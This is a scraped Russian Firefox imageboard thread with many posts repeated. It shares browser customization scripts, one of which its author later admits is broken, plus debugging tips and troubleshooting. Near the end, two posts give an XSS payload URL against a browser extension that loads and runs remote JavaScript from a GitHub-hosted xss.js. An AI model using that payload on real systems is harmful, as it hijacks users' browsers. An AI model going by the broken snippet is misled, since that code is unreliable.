window.20150317020848_toggleSidebar = toggleSidebar;
toggleSidebar
=function(a,b){
\tif (!window.20150317020848_ignoreToggleSidebar) {
\t\twindow.20150317020848_toggleSidebar.apply(this,[a,b]);
\t}
\twindow.20150317020848_ignoreToggleSidebar = false;
}
3. Назвать кнопку так: 20150317020848
4. Переместить её на тулбар
5. Поставить стиль (можно просто скопировать в \папка профиля\chrome\userChrome.css):
@namespace url(http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul);
@-moz-document url(chrome://browser/content/browser.xul){
\t#main-window[inDOMFullscreen] #sidebar-box,
\t#main-window[inDOMFullscreen] #sidebar-splitter,
\ttoolbarbutton[tooltiptext='20150317020848']{
\t\tvisibility: collapse;
\t}
}
>>1182894
Я всё ж подумал... Тьюринг таки не зря страдал от британских гомофобов.
РЕШЕНИЕ БАГА С FULLSCREEN ДЛЯ ESR 31.5.0:
1. Поставить расширение (>>1183221): https://addons.mozilla.org/EN-us/firefox/addon/custom-buttons/
2. Создать кнопку со следующим кодом в разделе "инициализация":
FullScreen.20150317020848_toggle = FullScreen.toggle;
FullScreen.toggle // открытие
=function(e){
\tdocument.documentElement.removeAttribute("inDOMFullscreen");
\twindow.20150317020848_ignoreToggleSidebar = true;
\tFullScreen.20150317020848_toggle.apply(this,[e]);
}
FullScreen.20150317020848_enterDomFullscreen = FullScreen.enterDomFullscreen;
FullScreen.enterDomFullscreen // закрытие
=function(e){
\tdocument.documentElement.setAttribute("inDOMFullscreen", true);
\tFullScreen.20150317020848_enterDomFullscreen.apply(this,[e]);
}
window.20150317020848_toggleSidebar = toggleSidebar;
toggleSidebar
=function(a,b){
\tif (!window.20150317020848_ignoreToggleSidebar) {
\t\twindow.20150317020848_toggleSidebar.apply(this,[a,b]);
\t}
\twindow.20150317020848_ignoreToggleSidebar = false;
}
3. Назвать кнопку так: 20150317020848
4. Переместить её на тулбар
5. Поставить стиль (можно просто скопировать в \папка профиля\chrome\userChrome.css):
@namespace url(http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul);
@-moz-document url(chrome://browser/content/browser.xul){
\t#main-window[inDOMFullscreen] #sidebar-box,
\t#main-window[inDOMFullscreen] #sidebar-splitter,
\ttoolbarbutton[tooltiptext='20150317020848']{
\t\tvisibility: collapse;
\t}
}
Я всё ж подумал... Тьюринг таки не зря страдал от британских гомофобов.
РЕШЕНИЕ БАГА С FULLSCREEN ДЛЯ ESR 31.5.0:
1. Поставить расширение (>>1183221): https://addons.mozilla.org/EN-us/firefox/addon/custom-buttons/
2. Создать кнопку со следующим кодом в разделе "инициализация":
FullScreen.20150317020848_toggle = FullScreen.toggle;
FullScreen.toggle // открытие
=function(e){
\tdocument.documentElement.removeAttribute("inDOMFullscreen");
\twindow.20150317020848_ignoreToggleSidebar = true;
\tFullScreen.20150317020848_toggle.apply(this,[e]);
}
FullScreen.20150317020848_enterDomFullscreen = FullScreen.enterDomFullscreen;
FullScreen.enterDomFullscreen // закрытие
=function(e){
\tdocument.documentElement.setAttribute("inDOMFullscreen", true);
\tFullScreen.20150317020848_enterDomFullscreen.apply(this,[e]);
}
window.20150317020848_toggleSidebar = toggleSidebar;
toggleSidebar
=function(a,b){
\tif (!window.20150317020848_ignoreToggleSidebar) {
\t\twindow.20150317020848_toggleSidebar.apply(this,[a,b]);
\t}
\twindow.20150317020848_ignoreToggleSidebar = false;
}
3. Назвать кнопку так: 20150317020848
4. Переместить её на тулбар
5. Поставить стиль (можно просто скопировать в \папка профиля\chrome\userChrome.css):
@namespace url(http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul);
@-moz-document url(chrome://browser/content/browser.xul){
\t#main-window[inDOMFullscreen] #sidebar-box,
\t#main-window[inDOMFullscreen] #sidebar-splitter,
\ttoolbarbutton[tooltiptext='20150317020848']{
\t\tvisibility: collapse;
\t}
}
>>1183988
FullScreen.20150317020848_toggle = FullScreen.toggle;
FullScreen.toggle // открытие
=function(e){
document.documentElement.removeAttribute("inDOMFullscreen");
window.20150317020848_ignoreToggleSidebar = true;
FullScreen.20150317020848_toggle.apply(this,[e]);
}
FullScreen.20150317020848_enterDomFullscreen = FullScreen.enterDomFullscreen;
FullScreen.enterDomFullscreen // закрытие
=function(e){
document.documentElement.setAttribute("inDOMFullscreen", true);
FullScreen.20150317020848_enterDomFullscreen.apply(this,[e]);
}
window.20150317020848_toggleSidebar = toggleSidebar;
toggleSidebar
=function(a,b){
if (!window.20150317020848_ignoreToggleSidebar) {
window.20150317020848_toggleSidebar.apply(this,[a,b]);
}
window.20150317020848_ignoreToggleSidebar = false;
}
FullScreen.20150317020848_toggle = FullScreen.toggle;
FullScreen.toggle // открытие
=function(e){
document.documentElement.removeAttribute("inDOMFullscreen");
window.20150317020848_ignoreToggleSidebar = true;
FullScreen.20150317020848_toggle.apply(this,[e]);
}
FullScreen.20150317020848_enterDomFullscreen = FullScreen.enterDomFullscreen;
FullScreen.enterDomFullscreen // закрытие
=function(e){
document.documentElement.setAttribute("inDOMFullscreen", true);
FullScreen.20150317020848_enterDomFullscreen.apply(this,[e]);
}
window.20150317020848_toggleSidebar = toggleSidebar;
toggleSidebar
=function(a,b){
if (!window.20150317020848_ignoreToggleSidebar) {
window.20150317020848_toggleSidebar.apply(this,[a,b]);
}
window.20150317020848_ignoreToggleSidebar = false;
}
>>1183988
@namespace url(http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul);
@-moz-document url(chrome://browser/content/browser.xul){
#main-window[inDOMFullscreen] #sidebar-box,
#main-window[inDOMFullscreen] #sidebar-splitter,
toolbarbutton[tooltiptext='20150317020848']{
visibility: collapse;
}
}
@namespace url(http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul);
@-moz-document url(chrome://browser/content/browser.xul){
#main-window[inDOMFullscreen] #sidebar-box,
#main-window[inDOMFullscreen] #sidebar-splitter,
toolbarbutton[tooltiptext='20150317020848']{
visibility: collapse;
}
}
>>1183862
Бляяя, всегда думал, что это сугубо хромоговский костыль. Спасибо, анон!
Бляяя, всегда думал, что это сугубо хромоговский костыль. Спасибо, анон!
>>1183411 PlacesCommandHook.showPlacesOrganizer('History');
Ну это вообще круто. Как осилил? Если будет что добавить к моей пасте - не стесняйся.
>>1183261
Почему с сажей, думаешь я девелопер с кривыми руками, ничего не умею? В принципе, оправдано.
В основном у меня не знания, а, скорее, привычка. Есть несколько ухищрений, с помощью которых можно нечестным образом доставать функции из браузера. Например, расширение keyconfig 20110522: им можно просмотреть почти все функции, навешенные на хоткеи (посмотреть можно и другим способом, дальше - подробнее) и забиндить нужный код на нужные хоткеи. Работает, видимо, почти как Custom Buttons.
Ещё можно открыть chrome://browser/content/browser.xul [до этого адреса можно догадаться, запустив в контексте браузера код "alert(window.document.location)" ], и найти там #mainPopupSet и #mainCommandSet. Кстати, там можно просматривать XUL браузера и пилить себе стили, зная селекторы для объектов. Селекторы для XUL имеют небольшое отличие: если нужно выбрать элементы <xul:spacer/>, нужно писать просто "spacer".
В #mainPopupSet перечислены основные функции контекстного меню, в #mainCommandSet - функции, навешенные на хоткеи (можно копировать внешний HTML и спокойно просмотреть его в Notepad++). Чтобы просматривать код самих функций, можно использовать Shift+F4, [окружение=браузер] -> alert(<полный путь к функции>) -> Ctrl+R. Либо setTimeout(function(){alert(<путь к функции>)},3000); - если функция объявляется для пункта контекстного меню (она изначально не существует и создаётся только при появлении контекстного меню из заранее объявленного прототипа, просмотреть который можно чуть сложнее [зайти на их сайт с кодом] ). Для реализации варианта с setTimeout нужно просто исполнить код (Ctrl+R), и за 3 секунды открыть нужное контекстное меню.
Если натыкаешься на [native code] - это стоп-слово. Насколько я знаю, его нельзя изменять. Хотя, может и можно, интерфейсами... В любом случае этого мы ещё не проходили.
Сайт с их кодом: http://mxr.mozilla.org/ Там можно искать объявленные функции, и явно открывать файлы, упомянутые в патчах (структура сайта эквивалентна ссылкам на файлы). Использовать для добросовестного поиска и просмотра кода (и читать this thread - тут могут предложить более полезные и удобные инструменты).
В общем, нужно привыкнуть. Либо спрашивать меня о каких-то штуках. Если что-то непонятно - спрашивай, мб потом отвечу.
Если кто-то заинтересован, могу запилить пример(ы) получения кода. Ну и, конечно же, исправляйте и дополняйте.
Ну это вообще круто. Как осилил? Если будет что добавить к моей пасте - не стесняйся.
>>1183261
Почему с сажей, думаешь я девелопер с кривыми руками, ничего не умею? В принципе, оправдано.
В основном у меня не знания, а, скорее, привычка. Есть несколько ухищрений, с помощью которых можно нечестным образом доставать функции из браузера. Например, расширение keyconfig 20110522: им можно просмотреть почти все функции, навешенные на хоткеи (посмотреть можно и другим способом, дальше - подробнее) и забиндить нужный код на нужные хоткеи. Работает, видимо, почти как Custom Buttons.
Ещё можно открыть chrome://browser/content/browser.xul [до этого адреса можно догадаться, запустив в контексте браузера код "alert(window.document.location)" ], и найти там #mainPopupSet и #mainCommandSet. Кстати, там можно просматривать XUL браузера и пилить себе стили, зная селекторы для объектов. Селекторы для XUL имеют небольшое отличие: если нужно выбрать элементы <xul:spacer/>, нужно писать просто "spacer".
В #mainPopupSet перечислены основные функции контекстного меню, в #mainCommandSet - функции, навешенные на хоткеи (можно копировать внешний HTML и спокойно просмотреть его в Notepad++). Чтобы просматривать код самих функций, можно использовать Shift+F4, [окружение=браузер] -> alert(<полный путь к функции>) -> Ctrl+R. Либо setTimeout(function(){alert(<путь к функции>)},3000); - если функция объявляется для пункта контекстного меню (она изначально не существует и создаётся только при появлении контекстного меню из заранее объявленного прототипа, просмотреть который можно чуть сложнее [зайти на их сайт с кодом] ). Для реализации варианта с setTimeout нужно просто исполнить код (Ctrl+R), и за 3 секунды открыть нужное контекстное меню.
Если натыкаешься на [native code] - это стоп-слово. Насколько я знаю, его нельзя изменять. Хотя, может и можно, интерфейсами... В любом случае этого мы ещё не проходили.
Сайт с их кодом: http://mxr.mozilla.org/ Там можно искать объявленные функции, и явно открывать файлы, упомянутые в патчах (структура сайта эквивалентна ссылкам на файлы). Использовать для добросовестного поиска и просмотра кода (и читать this thread - тут могут предложить более полезные и удобные инструменты).
В общем, нужно привыкнуть. Либо спрашивать меня о каких-то штуках. Если что-то непонятно - спрашивай, мб потом отвечу.
Если кто-то заинтересован, могу запилить пример(ы) получения кода. Ну и, конечно же, исправляйте и дополняйте.
>>1183411 PlacesCommandHook.showPlacesOrganizer('History');
Ну это вообще круто. Как осилил? Если будет что добавить к моей пасте - не стесняйся.
>>1183261
Почему с сажей, думаешь я девелопер с кривыми руками, ничего не умею? В принципе, оправдано.
В основном у меня не знания, а, скорее, привычка. Есть несколько ухищрений, с помощью которых можно нечестным образом доставать функции из браузера. Например, расширение keyconfig 20110522: им можно просмотреть почти все функции, навешенные на хоткеи (посмотреть можно и другим способом, дальше - подробнее) и забиндить нужный код на нужные хоткеи. Работает, видимо, почти как Custom Buttons.
Ещё можно открыть chrome://browser/content/browser.xul [до этого адреса можно догадаться, запустив в контексте браузера код "alert(window.document.location)" ], и найти там #mainPopupSet и #mainCommandSet. Кстати, там можно просматривать XUL браузера и пилить себе стили, зная селекторы для объектов. Селекторы для XUL имеют небольшое отличие: если нужно выбрать элементы <xul:spacer/>, нужно писать просто "spacer".
В #mainPopupSet перечислены основные функции контекстного меню, в #mainCommandSet - функции, навешенные на хоткеи (можно копировать внешний HTML и спокойно просмотреть его в Notepad++). Чтобы просматривать код самих функций, можно использовать Shift+F4, [окружение=браузер] -> alert(<полный путь к функции>) -> Ctrl+R. Либо setTimeout(function(){alert(<путь к функции>)},3000); - если функция объявляется для пункта контекстного меню (она изначально не существует и создаётся только при появлении контекстного меню из заранее объявленного прототипа, просмотреть который можно чуть сложнее [зайти на их сайт с кодом] ). Для реализации варианта с setTimeout нужно просто исполнить код (Ctrl+R), и за 3 секунды открыть нужное контекстное меню.
Если натыкаешься на [native code] - это стоп-слово. Насколько я знаю, его нельзя изменять. Хотя, может и можно, интерфейсами... В любом случае этого мы ещё не проходили.
Сайт с их кодом: http://mxr.mozilla.org/ Там можно искать объявленные функции, и явно открывать файлы, упомянутые в патчах (структура сайта эквивалентна ссылкам на файлы). Использовать для добросовестного поиска и просмотра кода (и читать this thread - тут могут предложить более полезные и удобные инструменты).
В общем, нужно привыкнуть. Либо спрашивать меня о каких-то штуках. Если что-то непонятно - спрашивай, мб потом отвечу.
Если кто-то заинтересован, могу запилить пример(ы) получения кода. Ну и, конечно же, исправляйте и дополняйте.
Ну это вообще круто. Как осилил? Если будет что добавить к моей пасте - не стесняйся.
>>1183261
Почему с сажей, думаешь я девелопер с кривыми руками, ничего не умею? В принципе, оправдано.
В основном у меня не знания, а, скорее, привычка. Есть несколько ухищрений, с помощью которых можно нечестным образом доставать функции из браузера. Например, расширение keyconfig 20110522: им можно просмотреть почти все функции, навешенные на хоткеи (посмотреть можно и другим способом, дальше - подробнее) и забиндить нужный код на нужные хоткеи. Работает, видимо, почти как Custom Buttons.
Ещё можно открыть chrome://browser/content/browser.xul [до этого адреса можно догадаться, запустив в контексте браузера код "alert(window.document.location)" ], и найти там #mainPopupSet и #mainCommandSet. Кстати, там можно просматривать XUL браузера и пилить себе стили, зная селекторы для объектов. Селекторы для XUL имеют небольшое отличие: если нужно выбрать элементы <xul:spacer/>, нужно писать просто "spacer".
В #mainPopupSet перечислены основные функции контекстного меню, в #mainCommandSet - функции, навешенные на хоткеи (можно копировать внешний HTML и спокойно просмотреть его в Notepad++). Чтобы просматривать код самих функций, можно использовать Shift+F4, [окружение=браузер] -> alert(<полный путь к функции>) -> Ctrl+R. Либо setTimeout(function(){alert(<путь к функции>)},3000); - если функция объявляется для пункта контекстного меню (она изначально не существует и создаётся только при появлении контекстного меню из заранее объявленного прототипа, просмотреть который можно чуть сложнее [зайти на их сайт с кодом] ). Для реализации варианта с setTimeout нужно просто исполнить код (Ctrl+R), и за 3 секунды открыть нужное контекстное меню.
Если натыкаешься на [native code] - это стоп-слово. Насколько я знаю, его нельзя изменять. Хотя, может и можно, интерфейсами... В любом случае этого мы ещё не проходили.
Сайт с их кодом: http://mxr.mozilla.org/ Там можно искать объявленные функции, и явно открывать файлы, упомянутые в патчах (структура сайта эквивалентна ссылкам на файлы). Использовать для добросовестного поиска и просмотра кода (и читать this thread - тут могут предложить более полезные и удобные инструменты).
В общем, нужно привыкнуть. Либо спрашивать меня о каких-то штуках. Если что-то непонятно - спрашивай, мб потом отвечу.
Если кто-то заинтересован, могу запилить пример(ы) получения кода. Ну и, конечно же, исправляйте и дополняйте.
Почаны, поясните за кифокс. Вот я значит запустил кипас, ввел мастер пароль. Есть у вирусни возможность спиздить базу паролей из открытого кипаса? И соответственно нужно ли вырубать кипас после каждого использования?
>>1183988 >>1183992 >>1183997
Я совершил сразу 3 ошибки: 1) изначально объявил переменные с "ником" в начале, 2) сделал автозамену, забыв, что в JS нельзя начинать имена переменных с цифр, 3) стал исправлять итт, занимая место и флудя.
В общем, то решение не работает. Ичсх, никто не отписался.
Вот вам нормальное проверенное мной на ESR решение, и в случае возможных багов исправление будет лежать там же.
https://dl.dropboxusercontent.com/s/1n8yum91bs9bm0w/Fix%20for%20Fullscreen%20on%20FX%20ESR.html?dl=0
Я совершил сразу 3 ошибки: 1) изначально объявил переменные с "ником" в начале, 2) сделал автозамену, забыв, что в JS нельзя начинать имена переменных с цифр, 3) стал исправлять итт, занимая место и флудя.
В общем, то решение не работает. Ичсх, никто не отписался.
Вот вам нормальное проверенное мной на ESR решение, и в случае возможных багов исправление будет лежать там же.
https://dl.dropboxusercontent.com/s/1n8yum91bs9bm0w/Fix%20for%20Fullscreen%20on%20FX%20ESR.html?dl=0
Аноны с недавнего времени а точнее с 36 версии при заходе в гугл, рамблер или маилру с яндексом стала появлятся следующая штука, а именно мне сообщают что обнаружили подозрительный трафик из моей сети который шлет автоматические запросы и нужно ввести капчу для продолжения. Что это такое? как это лечить? антивирус прогонял всё но ничего нет. В лисе стоят два расширения адблок и носкрипт.
29 Кб, 451x300
>>1183691
Добра тебе.
Добра тебе.
>>1184401
но раньше такого не было, гугл вообще лютует и началось все это с 36 версии, нужно попробовать поставить какую нибуть старую, или это бесполезно?
но раньше такого не было, гугл вообще лютует и началось все это с 36 версии, нужно попробовать поставить какую нибуть старую, или это бесполезно?
>>1183713
Ну что вы, лисаны?
Ну что вы, лисаны?
>>1184405
Скорее всего раньше у тебя был динамический, а сейчас тебя за нат посадили.
Лиса тут не при чём.
Скорее всего раньше у тебя был динамический, а сейчас тебя за нат посадили.
Лиса тут не при чём.
>>1184388
Было то же самое несколько месяцев назад и неделю назад. Провайдер Билайн, на вирусы комп проверял, в лисе никаких подозрительных расширений/плагинов не установлено. Как я понимаю, это из-за серого IP, какой-то дебил из твоей сети с таким же айпишником схватил вирусню.
Было то же самое несколько месяцев назад и неделю назад. Провайдер Билайн, на вирусы комп проверял, в лисе никаких подозрительных расширений/плагинов не установлено. Как я понимаю, это из-за серого IP, какой-то дебил из твоей сети с таким же айпишником схватил вирусню.
>>1184259
так надо было только мне, а я же спал. работает, спасибо. только я не понял, кнопку надо раз в сессию нажимать? после перезагрузки не работает.
>Ичсх, никто не отписался.
так надо было только мне, а я же спал. работает, спасибо. только я не понял, кнопку надо раз в сессию нажимать? после перезагрузки не работает.
>>1184554
Если бы ты всё сделал правильно, она бы была невидимой. Выходит, ты где-то ошибся.
Если бы ты всё сделал правильно, она бы была невидимой. Выходит, ты где-то ошибся.
>>1184709
всё, разобрался. спасибо еще раз.
всё, разобрался. спасибо еще раз.
186 Кб, 489x700
Лисаны, как переделать url-строку чтобы она вела себя как в старой двенадцатой опере, запоминая все набранные адреса и при нажатии вниз при пустой строке выводила список ранее набранных адресов, начиная с наиболее свежих? А то дефолтный подбор по частоте посещений меня печалит.
>>1184725
foobar попробуй. мало "наворотов" - omnibar
foobar попробуй. мало "наворотов" - omnibar
12 Кб, 688x238
4 Кб, 535x68
Лисаны, у меня иногда муть какая-то происходит при переключении вкладок - рассыпаются сами вкладки и содержимое страниц (прикрепил скриншоты). Причем без разницы, какой контент на странице - онлайн-видео или вообще txt файлик открыт. Что это такое? :с
19 Кб, 774x589
Чёт в настройках первая вкладка пустая.
С остальными всё норм.
Как починить?
С остальными всё норм.
Как починить?
>>1184915
Отключи все аддоны. Если починилось, методом бинарного поиска ищи виноватого.
Если не починилось, открывай prefs.js из профиля лисы и ищи тем же методом там.
Отключи все аддоны. Если починилось, методом бинарного поиска ищи виноватого.
Если не починилось, открывай prefs.js из профиля лисы и ищи тем же методом там.
>>1184936
нахуй иди
нахуй иди
ссылки не пашут в шапке! а очень нужны!
как вручную прописать поисковики ?
как вручную прописать поисковики ?
>>1185201
в лисе дико уёбищная поддержка поисковиков. надо либо письку с АМО ставить, либо вручную xml-файлы создавать
http://rghost.net/8tBcrSCxV
вот архив с моими поисковиками - файлы посмотришь, в синтаксисе разберёшься
чтобы применить изменения к уже загруженному в браузер поисковику, надо закрыть бравзер, переименовать файл, запустить бравзер снова
лютая прыщавость, знаю
в лисе дико уёбищная поддержка поисковиков. надо либо письку с АМО ставить, либо вручную xml-файлы создавать
http://rghost.net/8tBcrSCxV
вот архив с моими поисковиками - файлы посмотришь, в синтаксисе разберёшься
чтобы применить изменения к уже загруженному в браузер поисковику, надо закрыть бравзер, переименовать файл, запустить бравзер снова
лютая прыщавость, знаю
пацаны, у меня платина
http://www.youtube.com/html5
Как на ff 36 включить нижние боковые? Или надо 37 ждать? Когда будет lts с поддержкой всех 6?
http://www.youtube.com/html5
Как на ff 36 включить нижние боковые? Или надо 37 ждать? Когда будет lts с поддержкой всех 6?
101 Кб, 936x401
>>1185201 >>1185225 >>1185229
Пиздец, вы чо? Можно же просто добавить через контекстное меню! Потом вписать короткое имя для этой закладки. "письку с AMO" можно было и прислать - https://addons.mozilla.org/ru/firefox/addon/add-to-search-bar/ , а то она даже через "add search engine" не находится. Вы типа троллите, или тут только THE_OP советовал эти штуки?
>>1184898
О да, у меня так, но я забил. В терминальной стадии этого бага страницы иногда не перерисовываются, когда ты переключаешься Ctrl+Tab, хоть это происходит 1 раз из 100. Профиль сбросить попробую, но не уверен, что это - решение. Алсо, потом запилю в итт баг с vesti.ru - думаю, он связан с этим.
The_new_op, когда будешь пилить шапку, запили инструкцию по этому (>>1185240) в отдельный файл. Ну, сначала накидай что-нибудь из итт, кто-нибудь исправит, если что. А то ведь постоянно спрашивают.
Пиздец, вы чо? Можно же просто добавить через контекстное меню! Потом вписать короткое имя для этой закладки. "письку с AMO" можно было и прислать - https://addons.mozilla.org/ru/firefox/addon/add-to-search-bar/ , а то она даже через "add search engine" не находится. Вы типа троллите, или тут только THE_OP советовал эти штуки?
>>1184898
О да, у меня так, но я забил. В терминальной стадии этого бага страницы иногда не перерисовываются, когда ты переключаешься Ctrl+Tab, хоть это происходит 1 раз из 100. Профиль сбросить попробую, но не уверен, что это - решение. Алсо, потом запилю в итт баг с vesti.ru - думаю, он связан с этим.
The_new_op, когда будешь пилить шапку, запили инструкцию по этому (>>1185240) в отдельный файл. Ну, сначала накидай что-нибудь из итт, кто-нибудь исправит, если что. А то ведь постоянно спрашивают.
>>1185254
не добавляет url с suggestions, добавляет кучу мусора, и невозможно вносить изменения
не добавляет url с suggestions, добавляет кучу мусора, и невозможно вносить изменения
>>1185255
Что ж, ладно, но закладка-то с поиском - таки работает?
Что ж, ладно, но закладка-то с поиском - таки работает?
>>1185258
Нет же! Если надо обработать столько элементов, однозначно надо автоматизировать. Ну у него штук 7, думаю. Всё равно автоматизация не помешает, если нужно обработать случай больше чем 1 "плохого" расширения.
>>1184936
Как ты себе это представляешь?! Ведь для того, чтобы проверить, починилось ли, нужно использовать браузер ещё некоторое время - чтобы понять, остался баг или нет. О какой автоматизации тут можно говорить? Как она должна работать, по-твоему (с точки зрения юзера)?
В общем, я бы мог написать небольшой скрипт, и даже автоматизировать всё это дело тем способом, который я представляю, но в таких "неявных" багах это мало поможет. И особо не поможет, если будешь во время проверки включать новые расширения (если будешь сам вредить процессу, никакой алгоритм не поможет).
Нет же! Если надо обработать столько элементов, однозначно надо автоматизировать. Ну у него штук 7, думаю. Всё равно автоматизация не помешает, если нужно обработать случай больше чем 1 "плохого" расширения.
>>1184936
Как ты себе это представляешь?! Ведь для того, чтобы проверить, починилось ли, нужно использовать браузер ещё некоторое время - чтобы понять, остался баг или нет. О какой автоматизации тут можно говорить? Как она должна работать, по-твоему (с точки зрения юзера)?
В общем, я бы мог написать небольшой скрипт, и даже автоматизировать всё это дело тем способом, который я представляю, но в таких "неявных" багах это мало поможет. И особо не поможет, если будешь во время проверки включать новые расширения (если будешь сам вредить процессу, никакой алгоритм не поможет).
>>1185298
Что-то типа Autohotkey. Нужно, чтобы скрипт различал распидорашенность вкладок, чекая определённый сегмент экрана. Можно детектить даже тупо по площади светло-светло серого.
Если баг появляется только при переключении вкладок, тогда кликер.
Что-то типа Autohotkey. Нужно, чтобы скрипт различал распидорашенность вкладок, чекая определённый сегмент экрана. Можно детектить даже тупо по площади светло-светло серого.
Если баг появляется только при переключении вкладок, тогда кликер.
>>1185314
Интеллектуальное распознавание - сразу нет. Распидорашивает только края предыдущей вкладки и той, на которую переключился. А это может быть в любом месте экрана.
Интеллектуальное распознавание через автохоткей - дважды нет. Лучше Пуджа бить пойду. Я предлагал написать скрипт для Custom Button, который бы запоминал, сколько вариантов он уже перебрал, и по нажатию пробовал бы следующий. Начать надо, отключая по одному расширению, потом - по два и т.д.
>>1185316
Просто игнорируй, сложно что ли?
>>1185317
Тут тебе не бэ, ответа иногда нужно ждать по пол-дня, а то и больше. Уяснил? Жди.
Интеллектуальное распознавание - сразу нет. Распидорашивает только края предыдущей вкладки и той, на которую переключился. А это может быть в любом месте экрана.
Интеллектуальное распознавание через автохоткей - дважды нет. Лучше Пуджа бить пойду. Я предлагал написать скрипт для Custom Button, который бы запоминал, сколько вариантов он уже перебрал, и по нажатию пробовал бы следующий. Начать надо, отключая по одному расширению, потом - по два и т.д.
>>1185316
Просто игнорируй, сложно что ли?
>>1185317
Тут тебе не бэ, ответа иногда нужно ждать по пол-дня, а то и больше. Уяснил? Жди.
>>1185320
Я первый раз спросил вообще-то
> Тут тебе не бэ, ответа иногда нужно ждать по пол-дня, а то и больше. Уяснил? Жди.
Я первый раз спросил вообще-то
>>1185320
Это понятно, но эта распидорашенная зона отличается по цвету от нормального цвета вкладок. Скрипт должен переключать вкладки и проверять, распидорасило или нет.
> Распидорашивает только края предыдущей вкладки и той, на которую переключился
Это понятно, но эта распидорашенная зона отличается по цвету от нормального цвета вкладок. Скрипт должен переключать вкладки и проверять, распидорасило или нет.
>>1185314
Upd: Я тебя сначала немного не понял. И написал хуйню немножко. Разумеется сначала надо искать бинпоиском (искать 1 "плохое" расширение), если не помогло - искать пару расширений и т.д. Суть в том, чтобы навесить это на кнопку. А автохоткеем ещё нужно как-то обращаться к фаерфоксу.
>>1184921
А вот здесь всё нормально? chrome://browser/content/preferences/preferences.xul
>>1184882 -> >>1185201 , если ещё не увидел.
>>1185329
Да-да. Только вот ещё иконки могут быть серее и т.п. А на этом скрине 14266833144821.png (его постили итт)
края есть у предыдущей, но их нет у текущей вкладки. Площадь серого в норме. А как он определит, что всё нормально? Это как машина тьюринга - может нормально работать бесконечно, а может когда-нибудь выдать баг. У меня этот баг редко происходит. Короче, если тебе нужно именно такая автоматизация, я тебе не смогу помочь. (Хочу сразу предостеречь, что нужно что-то другое, чтобы это работало для всех, а не только для твоей темы/цвета окон в винде/т.п. Работа с цветом - это не только сложно [хотя мб у меня просто нет опыта], но и нестабильно от одной конфигурации к другой)
Upd: Я тебя сначала немного не понял. И написал хуйню немножко. Разумеется сначала надо искать бинпоиском (искать 1 "плохое" расширение), если не помогло - искать пару расширений и т.д. Суть в том, чтобы навесить это на кнопку. А автохоткеем ещё нужно как-то обращаться к фаерфоксу.
>>1184921
А вот здесь всё нормально? chrome://browser/content/preferences/preferences.xul
>>1184882 -> >>1185201 , если ещё не увидел.
>>1185329
Да-да. Только вот ещё иконки могут быть серее и т.п. А на этом скрине 14266833144821.png (его постили итт)
края есть у предыдущей, но их нет у текущей вкладки. Площадь серого в норме. А как он определит, что всё нормально? Это как машина тьюринга - может нормально работать бесконечно, а может когда-нибудь выдать баг. У меня этот баг редко происходит. Короче, если тебе нужно именно такая автоматизация, я тебе не смогу помочь. (Хочу сразу предостеречь, что нужно что-то другое, чтобы это работало для всех, а не только для твоей темы/цвета окон в винде/т.п. Работа с цветом - это не только сложно [хотя мб у меня просто нет опыта], но и нестабильно от одной конфигурации к другой)
Бамп лисопараше.
148 Кб, 1365x767
50 Кб, 1365x633
235 Кб, 1136x663
Господа, хоть немного шарящие в JS и CSS, предлагаю поржать над этим расширением итт >>1182930.
Во-первых, отмечу своё негодование от кода программеров гугла. Во-вторых, разработчик расширения решил, то с собственной jQuery (sic!) его расширение будет лучше и быстрее работать. Да, вы не ослышались, он даже не с googleapis её берёт. И ничего, что сайт сам её подгружает... Во-вторых, прогоняет каждую ссылку через свой Й.О.Б.А.-сайт, хотя наверное можно было встроить get-запросы в скрипт. И у хромогов поломалось это расширение из-за своего не-обновления. Инстаграмм вроде сделал апгрейд, и теперь в него можно загружать несколько пикч, а не одну, и загружать текстовые посты в инстаграм.
Но (самое сочное) я нашёл решение (надо было исправить 1 строку), так что если этот страдалец ещё раз объявится итт, выложу.
Но это пиздец. Вот такие криворуки пишут свои расширения, а потом у юзера кто оказывается виноват? Разработчики Google. Разработчики Mozilla Foundation.
Во-первых, отмечу своё негодование от кода программеров гугла. Во-вторых, разработчик расширения решил, то с собственной jQuery (sic!) его расширение будет лучше и быстрее работать. Да, вы не ослышались, он даже не с googleapis её берёт. И ничего, что сайт сам её подгружает... Во-вторых, прогоняет каждую ссылку через свой Й.О.Б.А.-сайт, хотя наверное можно было встроить get-запросы в скрипт. И у хромогов поломалось это расширение из-за своего не-обновления. Инстаграмм вроде сделал апгрейд, и теперь в него можно загружать несколько пикч, а не одну, и загружать текстовые посты в инстаграм.
Но (самое сочное) я нашёл решение (надо было исправить 1 строку), так что если этот страдалец ещё раз объявится итт, выложу.
Но это пиздец. Вот такие криворуки пишут свои расширения, а потом у юзера кто оказывается виноват? Разработчики Google. Разработчики Mozilla Foundation.
>>1185676
Охуенное расширение, чо, можно всех юзеров поиметь, отправив твит с:
https://instagram.com/p/%27;}%29;$%28document%29.on%28%27ready%27,function%28%29{$.getScript%28decodeURIComponent%28%27https\u003a\u002f\u002fraw.githubusercontent.com\u002fdragon28\u002fcomputer-security\u002fmaster\u002fxss.js%27%29%29;href=%27/
Охуенное расширение, чо, можно всех юзеров поиметь, отправив твит с:
https://instagram.com/p/%27;}%29;$%28document%29.on%28%27ready%27,function%28%29{$.getScript%28decodeURIComponent%28%27https\u003a\u002f\u002fraw.githubusercontent.com\u002fdragon28\u002fcomputer-security\u002fmaster\u002fxss.js%27%29%29;href=%27/
https://instatwit.herokuapp.com/get?url=https://instagram.com/p/%27;}%29;$%28document%29.on%28%27ready%27,function%28%29{$.getScript%28decodeURIComponent%28%27https\u003a\u002f\u002fraw.githubusercontent.com\u002fdragon28\u002fcomputer-security\u002fmaster\u002fxss.js%27%29%29;href=%27/ - вот сюда всех перешлет
41 Кб, 774x630
>>1185339
Если вбиваю chrome://browser/content/preferences/preferences.xul, то всё нормально.
>А вот здесь всё нормально? chrome://browser/content/preferences/preferences.xul
Если вбиваю chrome://browser/content/preferences/preferences.xul, то всё нормально.
>>1184898
Случайно наткнулся на тему, читани:
http://forums.mozillazine.org/viewtopic.php?f=23&t=2915159
Случайно наткнулся на тему, читани:
http://forums.mozillazine.org/viewtopic.php?f=23&t=2915159
